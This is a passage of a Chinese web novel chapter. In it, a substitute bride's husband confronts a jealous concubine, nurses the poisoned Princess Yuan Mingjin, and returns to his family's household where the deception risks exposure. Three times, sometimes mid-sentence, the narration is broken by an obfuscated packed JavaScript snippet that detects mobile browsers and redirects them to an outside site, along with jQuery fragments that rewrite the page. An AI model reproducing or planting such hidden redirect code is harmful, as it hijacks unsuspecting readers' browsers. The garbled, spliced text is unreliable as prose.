王夫尚未发话,他们也不好先行离开,只能在一直在厅中等候,腰杆挺得笔直,坐到屁股都发麻,饿得前胸贴后背,才被张嬷嬷做主请离。 众侍自是不忿。 以前王府里没有治理后院的主子,小侍们难免口无遮拦了些,回去的路上,便你一言我一语地说起新王夫的不是来。 缃叶无精打采地听着,本不欲掺和,有人却成心不叫他置身事外,用胳膊肘捣捣他,嬉笑道:“小缃叶,今后你怕是更没有几天能见到殿下了。” 缃叶年纪小,鲜嫩可口,又声脆嘴甜,极会讨殿下欢心,殿下虽不重男色,可一月中总有个五六日宿在他房中。众侍嘴上虽不说,心中却早生不满,便教唆他去试试那新王夫究竟有没有容人的气量——毕竟在他们看来,王夫嫁进来第一日便叫他们好等,定是在给他们下马威。 鹬蚌相争,渔翁得利,殿下一向喜静,见王夫与缃叶拈酸吃醋,便心生厌烦,就此厌弃他二人也说不定呢? 届时,他们就有机会重新获宠了。 你一言我一语,不断挑拨下,缃叶就算是棉花做的,此时也该硬起来了,心头妒火熊熊燃烧,打听到王夫此时正在膳房,便带着仆从气势汹汹地扑了过去。 他远远望见殿下的乳母张嬷嬷守在膳房门口,知道她可不是三言两语就能打发的,心中顿时忐忑起来。 但出乎意料的是,他的仆从随意编造了个借口,竟真将张嬷嬷引开了,顺利得不可思议。 张嬷嬷都走了,膳房众人更是不足为惧。 缃叶走入其中,用挑剔的眼神光明正大打量起新王夫来—— 且不说腿间那物件是否能令殿下满意,单看身段:个子太高,不够苗条,不女不男,像个怪胎;警惕性更是不够,身边都被清场了仍无知无觉,还在鼓捣着什么恶心巴拉的东西,棕黑色的、稀稀拉拉的…… 缃叶微呲着牙,产生了一些不妙的联想。 更不妙的是,这位王夫还在嘀嘀咕咕地自语些什么,兴致高昂。缃叶走近一听,发现他正不成曲调地哼着:“殿下、殿下……” 原来竟是做给殿下吃的——不成,这等肮脏之物,怎能入殿下金口?! 缃叶登时心头火起,扬手便打翻了盛着成品的银盘。 ——然后被王夫扬手打翻在地。 “你可知天元还有多少百姓忍饥挨饿?” 苏小糖怒目圆睁,咬着牙,一字一句道:“你可知饥饿是何等难捱滋味?” 他尚未出嫁时,忍饥挨饿几乎成了家常便饭,母亲也好,主父也罢,他从她们口中听到最多的便是“吃得太多”。 腹内空空、酸水烧心的煎熬,他已习以为常——但这不代表他忍受得理所应当。 相反,他每次都觉得痛苦万分,无论多少次他都觉得难以忍受。 因此不论是一粒米、一片菜叶,苏小糖都吃得倍觉珍惜。 眼下看见这不知打哪儿来的少年突然发难,打翻了他辛辛苦苦做出来的脏脏包,自然无法抑制住怒火。 缃叶虽是穷苦人家出身,可在王府过了几年富贵日子,早就忘了当初食不果腹的苦楚,闻言渐渐白了脸色,嘴唇嗫嚅着,答不上一句话来。 ——啪、啪、啪。 门口传来轻缓的鼓掌声。两人循声望去,见一身桂黄胡服的元明瑾稳步走进来,缃叶顿时慌了神,膝行着向她脚下爬了两步,急唤:“殿下……!” 元明瑾伸出手,虎口卡住他下颏,垂眼看他——缃叶才十六岁,眉眼秀丽,一张小脸又俏又甜,剥了壳的新鲜荔枝似的,晶莹剔透。 此刻哭得梨花带雨,泪水像断了线的珠子般往下掉,谁看了都忍不住心生爱怜。 眼见混了脂粉的浑浊泪珠就要滚落到自己手上,元明瑾及时撤去了手。她忍住一阵阵头晕,定定神,视野里的重影复又合二为一。 “王夫说得不错。”元明瑾轻声,似是自语,“本王还记得,初见你时,你瘦瘦小小一只,被母父像狗一样拴在门外,喂点秕糠就算完事。” 秕,即中空或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368443|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不饱满的谷粒;糠,即稻麦脱下的皮壳。 这些东西都是拿来喂牲畜的,可家里实在太穷,生了三个男儿,才终于等来一个女儿。大哥招妹十四岁便嫁了人,二哥盼妹被卖进花楼做了瘦马,这才换来了喂养小妹的米汤。 “本王于心不忍,便花了十两银子买下你。一转眼,你都能吠得这么响亮了。” 元明瑾若有所思,缃叶的瞳孔却颤得越来越剧烈。 在天元贵族中,将夫侍送给她人,是一种常见且好用的,快速拉近关系、笼络人心的手段。文人墨客不仅引为雅事,更以此为社会风尚。 若是哪个小侍才情过人,抑或是姿容出众,那还不知要在多少女郎手中辗转流通。 这不是福,反是祸。 “看来本王把你养得极好。” 轻飘飘的一句,分明听不出情绪,却叫缃叶忍不住细细发起抖来——这样评估货物般的语气,他再熟悉不过。 当年母父也曾想过把他卖作瘦马,然而见他年纪太小,心中又残留着对他两个哥哥的愧疚,便半推半就地作罢了。 但留在家中的日子,说不定还不如被卖作瘦马。他活得像条皮毛枯黄的流浪狗,衣不蔽体、食不果腹。蹲在路边时,连见了落难男子就想揩油的马妇走卒也不会多看他一眼。 遇见殿下那日,他失手打翻了母亲好不容易才为小妹弄来的羊奶,便被暴怒的父亲往脖子上挂了条麻绳,像拴狗似的拴在门外。 时值隆冬,雨雪霏霏,身上破旧的麻衣耐不住寒,迎妹冻得手脚红肿、嘴唇发紫,牙齿咯吱咯吱作响,每一寸皮肉、每一条骨头缝子,都被寒风刺得生疼。 晕厥在雪地里的前一刻,他隐约见一人骑在高头大马上朝自己奔来,银甲护体、英姿飒爽,宛如神女再世…… 小迎妹还以为是自己临死前的幻觉。 再后来,殿下扔给他母父十两银子,将他放到马上带走,让他在王府里做杂役,还给他重新取了名字,唤作缃叶。 但再未传唤过他。 也许是出于对母父的怨气,也许是出于出人头地的野心,抑或是出于想要报答救命之恩,他并不甘心就此被殿下遗忘。 又过几年,他满了十五,一日趁殿下酒醉,爬上了她的床。 缃叶扑过去,想抱住她的小腿,临了猛地记起她的洁癖,又生生止住,只匍匐在她脚边,墨发如瀑,自纤细脖颈淋漓而下,轻薄的春衫勾勒出浑圆翘臀和姣好的曲线。 “求殿下不要把奴送人!一男怎能再侍二妻……”缃叶哭道。 元明瑾没理会他,只是看了看地上那几个脏脏包,微不可察地蹙起眉心。 自她一出现,苏小糖哪儿还顾得上缃叶,一颗心全系在她身上。见她盯着掉落在地的脏脏包出神,还以为她想吃,急道:“殿下不可!我、我……可可粉不够了,待我再弄些来!” 说罢便忙往外跑,想去万钱楼找师母再拿些可可粉。 错身而过之际,元明瑾两根指头一伸,拽住他衣袖,嘴唇擦着他耳尖,气若游丝地说了些什么,还不待他听清,便两眼一闭,软倒下去,被苏小糖接了个满怀。 8. 惊鸿 元明瑾再醒来已是五日后。 眼皮干涩得像是黏在了眼球上。她睁开眼,转动躺得僵硬的脖子,一侧过脸,就见枕边搁着一团漆黑东西,伸手摸了摸,还挺柔软。 元明瑾眨眨眼,视野渐渐清晰,这才发现那是人的发顶,乌发浓密,一颗发旋乖巧地窝在其中,看起来并无脱发困扰。 苏小糖手臂交叠,侧趴其上,粉白的脸蛋被挤得堆起鼓鼓的软肉,密实长睫安静地垂下,小扇似的盖住眼下乌青,睡得很沉。 他似乎已经很久没喝过水,嘴唇干裂起皮,鲜红得快要滴血。 她无声地勾起唇角,蹑手蹑脚下了床,走到外间。 张嬷嬷守在那儿,见元明瑾出来,双手递上一封信,躬身道:“太医说您五日后醒,果真一天不早,一天不晚。” 元明瑾点点头,拆开封泥,一目十行读完,视线落在信纸右下角“沈”字印章上,冷笑一声:“……舞郎,又是舞郎。本王早该想到的。” 她将信放在烛火上烧尽,问张嬷嬷:“府中一切如常?” “一切如常。只是……”张嬷嬷似有些难以启齿。 “直言便是。” “成婚后第三日,您该陪王夫回父家省亲的。” 元明瑾恍然大悟。 “的确,也不好叫他被人看轻了去。”她揉着酸胀的眉心,“你现在就给尚书府送拜帖去,再备些礼,切勿假手于人。” “老奴知道。”张嬷嬷展颜一笑,“这几日都是王夫不眠不休守着您,倒叫老奴轻松不少。” 闻言,元明瑾揉眉心的手渐渐慢下来,“……他不是苏尚书的嫡长男。” 张嬷嬷霎时大惊失色:“这……那他是何人?!” 她做梦也想不到真正的王夫另有其人! 虽然苏小糖嫁进来时日尚短,但见他一醒来就巴巴地追问殿下的去向、为殿下亲自下厨,还通宵达旦守在昏迷的殿下身侧,张嬷嬷已将他视为自己人,还十分欣慰真心待殿下好的人又多了一个,谁知…… 这件事一旦被拆穿,那可是欺君之罪啊! 苏家竟然如此胆大包天?! “他不像奴仆出身。”元明瑾面露沉思,忆起新婚夜入睡前苏小糖对她说的那句话,“你去查查苏傲霜膝下有几子,若有除苏宜宜之外的其他男儿,务必查清楚名字。” “是。”张嬷嬷领命而去。 元明瑾回到内间,见苏小糖依旧以那个拧巴的姿势睡得昏天黑地,不由嗤笑:“不眠不休?我看天打雷劈都未必能把你劈醒。” 她坐回床边,像逗弄小狗一样揉揉他的头发,捏捏他的耳珠,又拨弄两下他的睫毛,见人还是不醒,便用力戳了戳他脸蛋,把那块被小臂挤得无处堆放的软肉戳得通红一片,“还不醒?” “嗯……”苏小糖被戳得哼哼两声,长睫颤颤,缓缓睁眼。 见元明瑾好端端坐在他面前,苏小糖眼睛一亮,嘴角上扬,扬到一半却猛地僵住,面色如菜。 “怎么了?”元明瑾敏锐地察觉到他反应不对。 “我、我失枕了……”苏小糖欲哭无泪,可怜巴巴地瞅着她。 元明瑾扑哧一笑,道:“过来。” 就差嘬嘬两声了。 苏小糖伏在她膝上,乖巧地把脖颈暴露在她眼皮底下,感受着那只温热粗糙的手力度适中地揉捏他的后颈,舒适地眯起眼,低声说:“你怎么睡了这么多天……” 他做的脏脏包都没来得及给她尝尝,可可粉用完了,去万钱楼找师母要,却也没有了,西域行商更是早已离开京城。 他不知道该怎么办。 元明瑾没作声,只是定定地瞧着手下纤细的脖颈。 后颈是一个非常脆弱的位置,穴位、经络数不胜数,说是命脉也不为过—— 如此致命之处,为何他竟能毫不设防地将命脉递到一个相识不过几日的陌生人手上? 她第一次看不穿一个人。 看起来纯真无邪,一副被教养得极好的样子,却被苏府推出来替嫁,而且还能对缃叶说出那样一番恫瘝在抱的话…… “明日陪你回苏府省亲。”元明瑾有意道。 她自然没错过掌心下的身体有片刻的僵硬。 “就不能不去吗?”苏小糖弱弱地问。 “为何不去?”元明瑾故作惊讶,“你不想你母父、不想你的姐妹兄弟吗?这次不去,以后还不知何时能去,归宁可不是想去就能去的。” 既嫁从妻,男子出嫁后,首要身份是妻家一员,而非父家的男儿。若是三番五次归宁,总往别人家跑,叫外人看了,还不知要如何说三道四,指责他不专心侍奉婆公、相妻教子,不守夫道,对妻家不忠不敬。 “想、想的……”苏小糖一惊,忙不迭找补。 他正绞尽脑汁思考如何圆场,好叫妻主打消疑心—— 咕噜噜…… 两人一怔,齐齐看向元明瑾的肚子。 “咳,躺得太久……”元明瑾面色微赧,“那时你给我做了什么好吃的?怎么被缃叶弄掉了?” 一提脏脏包,苏小糖就面露萎靡,蔫巴巴道:“你回来晚了,吃不到了。” 元明瑾奇道:“为什么?” “可可粉没有了,我再也做不出来了。”苏小糖很是无精打采。 “是挺可惜。”元明瑾忍不住摸了摸他的头,毛茸茸的,手感极好,“我现在饿了,有没有吃的?” “当然有!”一听庖厨之事,苏小糖马上又神采奕奕,朝她绽开甜甜的笑脸,“这几日天气热了些,我见膳房有几条肥美的鳜鱼,便腌制了一下……” 元明瑾直觉不妙。 苏小糖毫无所觉,兴致勃勃地将她拉到膳房,“你快来看!” 膳房众人见殿下亲至,纷纷行礼。眼看苏小糖牵着元明瑾走到角落的瓦缸前,伸手就要掀开木盖…… “不要啊!”有人忍不住惊叫。 元明瑾转头,以眼神相询,却还是晚了一步—— “呕!” 一阵浓重的尿骚味猛地扑进鼻腔里,元明瑾站得近,躲闪不及,那恶气被她冷不丁吸入肺中,顿时恶心得腹内抽搐不断,扶着灶台直欲作呕。 再看早有准备的膳房众人,不是迅速拉起衣襟捂住口鼻,就是退避三舍,更有甚者径直退到了膳房之外,避之唯恐不及,一个两个都是身经百战的模样。 “妻主?!”元明瑾的反应太过激烈,苏小糖吓了一跳,把盖子一扔就急急忙忙来扶她,却被元明瑾闪身躲开。 “先把你的手净了!”元明瑾面色苍白地喝道。 躺了几天胃里空空,又被这股恶气催吐,铁打的身子骨也顶不住。元明瑾被几个仆妇扶着到院中的石凳上坐下,深呼吸良久,待肺中恶气排尽了,才冷笑道:“苏小糖!你给我滚过来!” 苏小糖腿一软,险些跪下,手慌脚乱赶到她面前,解释道:“妻主,那鳜鱼给我腌坏了,才会散发如此恶臭……” “你再给我折腾这些恶心玩意儿,你就——” 元明瑾本想说些“滚出王府”或是“滚回苏府”之言,但心中对他的身世朦朦胧胧有所猜测后,又见他对苏府那般抗拒,如此伤人的话便不忍再出口,舌尖上滚了两圈,到嘴边就成了“你就不许吃饭”。 “啊?!” 苏小糖如遭雷劈,大大的甜杏眼里立刻包了两汪水,泪光盈盈。 不让他吃饭,这简直比杀了他还叫人难受。 见他一副天塌了的表情,元明瑾心尖一抽,头一回产生了负罪感。 思及他曾对缃叶所言……莫不是在苏府中经常忍饥挨饿? 她连忙再改口:“你就不许进膳房。” 不许进膳房同不许吃饭相比好接受多了。苏小糖破涕为笑,眨眨眼,把积蓄的水液眨掉,小声道:“妻主最好了!” 嗓音里满是藏不住的欢欣雀跃。 “……”元明瑾撇过头去,不再看他。 谁是你妻主? 这个冒牌货。 …… 明日就要回苏府省亲了,苏小糖后知后觉,紧张得一整晚都没睡着,烙饼似的翻来覆去,果不其然被元明瑾骂了一顿,说他要是不想睡觉,那就出门跑圈去。 苏小糖这才消停了,像块木板一样平平整整躺在床上,双臂伸直,掌心紧贴腿侧,大气也不敢出,眼睛瞪得像铜铃,直愣愣盯住头顶的床帐,听着身侧渐沉的呼吸声,却依旧毫无睡意。 婚后本该先进宫拜见今上,但碍于元明瑾突遭行刺、中毒昏迷,皇帝体恤女儿,便免了元明瑾的朝见,只说让她下次进宫带上王夫,补上奉茶礼即可。 但苏府省亲一行,无论如何不可避免。 苏小糖恐惧万分。 万一被妻主发现他并非真正的、本该嫁给她的苏家嫡长男……不,绝不能让她发现。 妻主的正夫只能是自己。 天刚蒙蒙亮,苏小糖爬起来,顶着两个大黑眼圈伺候元明瑾更衣。 他生得白,眼下乌青便愈发明显,敷了厚厚一层粉才堪堪盖住。元明瑾捏着他下巴,左右看了看这张昳丽不减的脸,有些心疼,问:“一晚上没睡?” “让妻主见笑了。”苏小糖双手环过她的腰,认认真真为她系好腰封,又从侍女手中取过搭配她今日衣衫的五爪单龙白玉佩,端正地挂在她腰间。 昨夜她不让苏小糖乱动,他就真的跟躺棺材板般一动不动,硬生生捱了几个时辰。一晚过去,躺得整个后背都僵硬酸痛。 知道元明瑾有晨起练武的习惯,苏小糖不想叫她瞧见自己这副尊容,便先她一步起床,净面敷粉,这才勉强掩住憔悴的面容。 眼下听她关心自己,苏小糖心中既甜蜜,又不好直言自己为何事发愁,只得做出专心服侍她的样子,避之不谈。 而元明瑾又岂会不知苏小糖为何夜不能寐,扬唇一笑,并不追问。 小冒牌货怕被拆穿,她也不是不能理解。 王府这厢浪静风恬,尚书府那厢却闹翻了天。 “看你这蠢夫干的好事!” 苏傲霜冷哼一声,将拜帖向跪在下首的辛雅宁脸上一甩—— 这一下用了十成十的力道,她虽是文臣,手劲却不小,拜帖狠狠拍在辛雅宁面上,于白皙的皮肉上留下一道方方正正的规整红痕。 辛雅宁痛呼一声,却不敢出言抱怨,胆颤心惊地捂着疼痛的脸,泪如雨下。 大婚那日,喜堂之上,苏傲霜见新嫁郎做出那等畏首畏尾的动作,便已心知肚明苏小糖替嫁一事,奈何皇帝就坐在身侧,只得隐忍不发,将错就错。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368444|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你可知犯下欺君之罪会有什么后果?”苏傲霜再不能平静,背着手来回在厅中急促踱步,又忽地顿住,双目通红地瞪着辛雅宁,额角青筋根根迸现,“届时别说我这顶乌纱帽,连脑袋都得掉!” “毁了,全毁了!” 她数十年的宦海沉浮,数十年的苦心经营,数十年的荣华富贵,数十年的一人之下、万人之上……竟如此轻易地被这蠢夫毁掉了! 苏傲霜真恨不得生啖其肉。 “奴不后悔!” 事到如今,再如何悔恨也来不及,辛雅宁反而凭空生出了一股勇气,一抬头,倔强地直视苏傲霜,“为人母父,为孩儿做打算,何错有之!只要宜宜有个好归宿,就算拼上奴这条命,也在所不惜!妻主若是怕被牵连,只管休了我,放我爷俩家去!” 啪! 苏傲霜又给了他一巴掌,气得浑身都在发抖,“蠢夫!蠢夫!愚不可及!好,你说要给你的好男儿挣一桩好姻缘,可如今呢?做了这等丑事,不躲在家中也就罢了,还大摇大摆游湖,这是生怕旁人不知他犯下欺君之罪?!蠢夫养育的男儿,同样是蠢人一个!” “我苏傲霜聪明一世,怎么就生出他这么个蠢货!” 辛雅宁声泪俱下,辩解道:“宜宜绝非那等不识好歹的蠢人!他那日戴了帷帽,捂得严严实实,又岂会——” “好,那便如你所说,他那日并未叫人瞧见——可如今呢?!”还不待他说完,苏傲霜便颇不耐烦地粗暴打断,“为着一个脸也看不清的女子,便茶不思饭不想,害了相思病,连日卧床不起?” “行事愚蠢荒诞至此,这就是养在深阁之中的高门贵男、京中典范?简直叫人笑掉大牙!” “爹!” 苏宜宜听闻他父亲受了母亲掌掴,忙命下人搀扶着他前来。 他着一袭未饰纹样的素袍,乌发也仅用一支再简单不过的白玉簪挽起,不施脂粉,病容楚楚,行走间依旧步步生莲,身上衣袍却宽大不少,显然清减许多。 辛雅宁一见他这副病弱之姿,泪水更加忍不住,争先恐后夺眶而出,泣道:“我儿,你又来作甚?左右你娘也厌弃咱们爷俩儿了,何苦上赶着讨嫌!” “娘,这一切都是宜宜的错,您莫要责怪爹,都是宜宜任性妄为……”苏宜宜未行至苏傲霜面前,已扑通一声跪下,梨花带雨,膝行到母亲脚边。 他一个未出阁的男儿家,如何能明白何谓欺君之罪,既已绑了苏小糖替嫁,便宽了心。然而那日遭从王府归来的母亲劈头盖脸痛骂一顿后,才蓦地惊出了一身冷汗,惶惶不可终日。 仆从见他郁郁寡欢,便提议去京郊的湖边转转,放松一二。 他依言去了,正倚在桥栏上,望着杨柳春烟出神,忽见一女子踏水而来,胡服利落,身姿如鹤,步履从容,近岸疾走几步,稳稳落地。 再看她脚上那双靴子,竟半分未湿,连身侧的仆从也不禁啧啧称奇:“这女郎好妙的身法!走在水上,竟跟走在平地上一般无二,当真如仙人下凡一样!” 苏宜宜也不由生出好奇之心,便沿着靴筒袍角向上看去,就见那女子下巴生着一道极浅的美人沟,嘴唇圆小,唇珠饱满,温柔可亲;鼻头圆挺,瞳如点墨,剑眉英气,不怒自威。 只是一张侧脸,苏宜宜心头却猛地狂跳一下。 许是他目光太灼热,那女子似有所感,视线冷冷向这边扫来—— 刹那间,不知为何,苏宜宜本能地拉住仆从往下一蹲,藏在石桥栏板后,自镂空雕花间窥见她转身离开,才扶着仆从慢慢站起身来。 “郎君为何要躲起来?”仆从不明所以。 苏宜宜只是怔怔,并未答话,满脑子都是她那双寒星似的墨眸,无论如何都挥之不去。 他原以为回到家中,这症状便会好转,岂料绣花时脑海中浮现出那女子垂落在身侧不住颤抖的手,用饭时想的却是那双唇为何有些乌紫,卸饰时眼前滑过她腰间的五爪龙佩,沐浴时才猛然发觉那修长脖颈上似乎留着浅浅一道疤…… 分明只是惊鸿一瞥,每一个细节却被无限放大,并未随着时日流逝而褪色,反而历久弥新,鲜活得好像那仙人般的女子就站在他面前似的。 就算只在话本中见到过,他又如何不清楚自己究竟是怎么一回事。 相思入骨。 不过几日,他已消瘦得伶仃,腰肢不盈一握,往日合体的衣衫穿在身上,经风一吹,轻易便能灌得肥大。仿佛那女子是什么摄人心魄的精怪,她一走,就将他的全副心神也夺去了。 父亲不忍见他如此,去求母亲找寻那女子,却被母亲严词拒绝,瞋喝他是痴心妄想。 犯下那等滔天大罪,尚不知能苟活到几时,还想谈婚论嫁,的确是痴心妄想。 “瑞王殿下到——” 传呼升殿声至,厅中众人纷纷整肃神色,起身下拜,心中俱是不安。 然而瑞王殿下并未像传闻中那般好刁难人,极快地说了句平身,便穿过人群,领着近乡情怯的苏小糖向上首坐了。 人群中的苏宜宜拭去泪珠,依令缓缓站起,目光却突然一滞。 余光中,错身而过的玄色蟒袍上,压着一枚白玉描金龙纹佩,那龙体丰腴、爪圆润、目炯炯,脚踩祥云,曲身腾跃,神气活现。 不多不少,正正好五只爪子。 9. 省亲 苏宜宜脸色瞬间惨白。 他不可置信地缓缓抬头,就见施施然落座上首的瑞王殿下,一身玄色窄袖蟒袍,袖口处以金线绣着祥云纹样,腰间缠着雕有五爪银龙的玉带,上挂那枚巴掌大的白玉描金龙纹佩,螓首蛾眉、目若悬珠、云鬓花颜。 天潢贵胄、衣冠赫奕,仅仅只是往那儿一坐,便叫人油然生出股顶礼膜拜的冲动来。 不是他那日在桥上见到的女子又是谁? 苏宜宜悔得肠子都青了。 赏花宴那日,元明瑾从头到尾都并未出现,因此苏宜宜无从得知她的仪容。 若是她那日来了…… “坐。”元明瑾言简意赅。 满厅落座,宾主尽欢。苏傲霜平心定气,与元明瑾你来我往地说了些场面话,辛雅宁从旁作陪,苏小糖则作乌龟状低头饮茶,一时间竟无人留心神思恍惚的苏宜宜。 若是他没有执意让苏小糖替嫁,今日站在她身侧的,就是——不,瑞王殿下性情凶戾、恶名昭著,苏小糖指不定吃了多少苦头,只是自己不曾亲眼见到罢了。 看,都成了王夫,苏小糖却仍是同往常一样怯懦,真给瑞王殿下丢人。 如此一来,苏小糖迟早会被瑞王殿下厌弃。 这么一想,苏宜宜心头不忿才消散了些,脸上也慢慢恢复了些许血色。 恰在此时,辛雅宁忽而笑脸盈盈道:“王夫年岁尚小,稚子心性、赖骨顽皮,若是给殿下添麻烦了,还望您切莫心软,只管约束他。” 方才瑞王殿下甫一出现,他亦是惊讶得险些控制不住表情—— 这位殿下凯旋归京那日,胯骑大马、手提寒刀,血渍糊面、泥泞满身,虽然风光,却也狼狈不堪。 无人看清她长了怎样一张脸,只是那场面如同罗刹降世,叫人心生畏惧,传来传去,便成了瑞王殿下生得青面獠牙、貌丑无盐。 京中贵夫不时便在家中举办茶会,苏家势大,长男又刚被今上许给瑞王,一时风头无两,辛雅宁收到的请柬没有一千也有八百,又怎会不知,贵夫们嘴上称庆,背地里却可怜他,竟要把男儿嫁给那等相貌丑陋、身有怪癖的女子。 天潢贵胄又如何?自己的孩子,终归只能由自己心疼。 平日辛雅宁如何责罚苏小糖,苏傲霜因着当年之事,心中有愧,并不过问。然而今时不同往日,苏小糖不仅成了王夫,全家性命更是系于他一人之身,辛雅宁却死性不改,眼下还在瑞王殿下面前明褒暗贬,当真以为这位殿下是个武蛮子,听不出来? 苏傲霜右眼皮猛地跳了一下,生怕这蠢夫说出什么不该说的,正欲打圆场,就听元明瑾莞尔一笑:“此言差矣,小糖心性纯良、天真可爱,也知进退、识大体,并未给本王闹出什么乱子,反而还为王府增添了许多欢声笑语。” 在场多是人精,听瑞王殿下称呼王夫为“小糖”后,又岂会不知该如何应对,遂将错就错,纷纷以“王夫”“大公子”称呼苏小糖,就连辛雅宁也强颜欢笑,叫了两声“大公子”,讲了几件苏小糖幼时将他气得牙痒的趣事,听得苏小糖眼睛越睁越大,险些以为自己十八年的水深火热不过幻梦一场。 苏宜宜却只是怔怔,如坐针毡,借故离席,回到房中,又悔又气,一口银牙几乎咬碎,抬手便将满置琉璃瓷器的博古架一举推翻,听着满地噼里啪啦的碎裂声,犹不解气。 绑苏小糖替嫁这招,不可不谓“赔了妻主又折兵”——既失去了嫁给心上人的机会,又失去了苏家长男的身份,真是搬起石头砸自己的脚。 房中小厮见他盛怒至此,生怕蒙受迁怒,忙去请来了主父身边的红蓼。 ——好巧不巧,这红蓼便是那日陪同苏宜宜前去湖畔散心的仆从。只是红蓼那时并未看清元明瑾的脸,刚才在厅中也不过觉得有些眼熟。 让他出门散心,本是辛雅宁的主意,谁料反叫苏宜宜落下一颗芳心,求而不得,日益清减。 早知他会失魂落魄至此,那日辛雅宁说什么也不会让苏宜宜出门。 “哟,大公子这是怎么了?”红蓼甫一入内,险些踩到一块绘着垂钓老妪的碎瓷片,心下不由一惊。 这樽花瓶他认得,原是主父父家之物,据说是从一个江南富商那儿花了四百两银子买来的名家之作。一次归宁,辛雅宁见之爱不释手,便将其带回了苏府。 一两白银可购得米粮两千五百斤,若按一年耗五百斤计算,四百两足够一户普通人家整整吃两千年! 如今这些白花花的银子和米粮,却这样碎在他脚下…… “红蓼!”苏宜宜才不管什么四百两的瓷瓶,一听“大公子”三字,泪水便夺眶而出,“那日的女子就是瑞王殿下!本该嫁给殿下的是——” “大公子慎言!” 红蓼吓得连忙喝止,挥退左右后,才压低嗓音,慎之又慎地告诫苏宜宜:“大公子,此乃欺君之罪,万不可被旁人听去了,否则你我皆难逃一死……” 京中贵男多是大门不出、二门不迈,因此也鲜有人知苏家长男究竟何等模样;为防名节受损、避免攀附或诽谤等,男子的名字向来是不可宣扬的秘密——这就给了辛雅宁掉包新嫁郎的可乘之机。 如今阴差阳错,又成了苏府上下逃过欺君之罪的保命符。 “我的!是我的!”苏宜宜哭叫,全然不见往日神闲气静的大家男子模样,“瑞王殿下是我的!王夫之位是我的!苏家大公子的身份也是我的!现在全被他抢走了!你难道要我眼睁睁看着他雀占鸠巢吗?!” 红蓼心道:这难道不是你咎由自取?如今倒知道急了。 若不是他自作聪明,非要苏小糖替嫁,今日也不会落得这番下场,还平白牵累这几百口人。 心中虽作此想,然而借红蓼八百个胆子也不敢把这话说出口,只得哄着他,道:“大公子莫急,兄弟共侍一妻虽遭世人诟病,却也不在少数。只要您能成功入那瑞王府,区区一个苏小糖,难道还敌不过?” “你是说……” 苏宜宜哭得头脑发懵,乍听此言,一时还转不过弯来。红蓼便附在他耳边,如此这般如此那般进言一番,直说得苏宜宜面颊滚烫、头晕脑胀,心中却暗暗生出些希冀来。 …… 既来到苏府,便免不了要看一看王夫自幼成长的地方。 苏傲霜神情微妙,却并未言语;辛雅宁狠狠绞着帕子,目送瑞王殿下带着王夫及一众仆从浩浩荡荡离去,脸上的愤恨怨怼再也藏不住。 方才苏宜宜房中之事,他都听红蓼说了,震惊之余,又止不住地怨恨起苏小糖与逝去多年的风郎君来。 贱人生贱种,当初风沁抢走了他的妻主,如今他的男儿又来抢自己男儿的妻主,真是有什么样的爹,就有什么样的男儿! 看看,苏小糖不仅脸色红润了些,还前呼后拥,身边环绕着的仆从没有一千也有八百,且无一不穿金戴银、绸缎裹身,好生气派!一口一个“王夫”地被唤着,就是个罗锅也该挺直腰板、神气十足了! ——可这些本该都是他的宜宜的! 可恨,当真可恨! 辛雅宁恨得眼睛滴血,臼齿咯吱作响,几乎要把手中的帕子都绞烂。 …… 元明瑾闲庭信步,路过一弯月洞门,见里头绿竹猗猗、碧荫如盖,还有一片小湖,亭台楼阁建于水上,飞檐反宇,意气风发。 她不觉心生喜爱,转头便问苏小糖:“这是你的院落?” 苏小糖讷讷道:“不是……是我三妹妹的院子,她做错了事,被母亲禁足,故而今日无法出来拜见殿下。” 元明瑾有些诧异,但未置一词,转身离开。 没走几步路,又见一座院落,雕梁画栋自不必说,里头还栽着几棵楝树,枝头开着许多浅紫小花,如一片浅紫色的雾气飘浮在翠绿枝桠间,细闻之下,还能嗅见一阵清香,沁人心脾。 元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368445|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明瑾打趣道:“这总该是你的院子了吧?” 苏小糖窘迫得快哭了:“不是,这是我大……二弟弟的院子。” 好险,差点儿说漏嘴。 换作是在王府中,元明瑾还没去过离主院这么远的地方,便随口问道:“你的院落怎的比你弟弟妹妹的都要远?莫不是你母亲偏爱幼子?” 他母亲倒不是偏爱幼子,只是独独不偏爱他罢了。苏小糖答道:“殿下说笑了,我既是大哥,当然要礼让弟妹。” 话虽如此,他却是一向藏不住心事的,两条眉毛耷拉着,怏怏不乐四个字都快写在脸上了。 二人并身后众仆从又走了一刻钟,才终于到达苏小糖在苏府的居所。 元明瑾甫一入内,便皱起了眉—— 